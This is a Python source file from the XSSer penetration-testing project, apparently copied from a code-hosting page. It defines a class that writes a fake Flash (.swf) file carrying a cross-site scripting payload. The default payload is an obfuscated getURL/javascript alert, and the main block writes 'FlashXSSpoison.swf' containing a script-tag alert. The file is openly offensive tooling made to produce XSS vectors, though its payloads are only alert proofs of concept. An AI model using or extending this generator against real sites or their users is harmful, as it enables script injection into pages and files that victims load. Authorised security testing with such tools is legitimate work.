flashxss.py 1.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. This file is part of the XSSer project, https://xsser.03c8.net
  6. Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
  7. xsser is free software; you can redistribute it and/or modify it under
  8. the terms of the GNU General Public License as published by the Free
  9. Software Foundation version 3 of the License.
  10. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  11. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  12. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  13. details.
  14. You should have received a copy of the GNU General Public License along
  15. with xsser; if not, write to the Free Software Foundation, Inc., 51
  16. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  17. """
  18. import os
  19. class FlashInjections(object):
  20. def __init__(self, payload =''):
  21. self._payload = payload
  22. def flash_xss(self, filename, payload):
  23. """
  24. Create -fake- flash movie (.swf) with XSS codeinjected.
  25. """
  26. root, ext = os.path.splitext(filename)
  27. if ext.lower() in [".swf"]:
  28. f = open(filename, 'wb')
  29. user_payload = payload
  30. if not user_payload:
  31. user_payload = 'a="get";b="URL";c="javascript:";d="alert("XSS");void(0);";eval(a+b)(c+d);'
  32. if ext.lower() == ".swf":
  33. content = user_payload
  34. f.write(content)
  35. f.close()
  36. flash_results = "\n[Info] XSS Vector: \n\n "+ content + "\n\n[Info] File: \n\n ", root + ext + "\n"
  37. else:
  38. flash_results = "\n[Error] Supported extensions = .swf\n"
  39. return flash_results
  40. if __name__ == '__main__':
  41. flash_xss_injection = FlashInjections('')
  42. print(flash_xss_injection.flash_xss('FlashXSSpoison.swf' , "<script>alert('XSS')</script>"))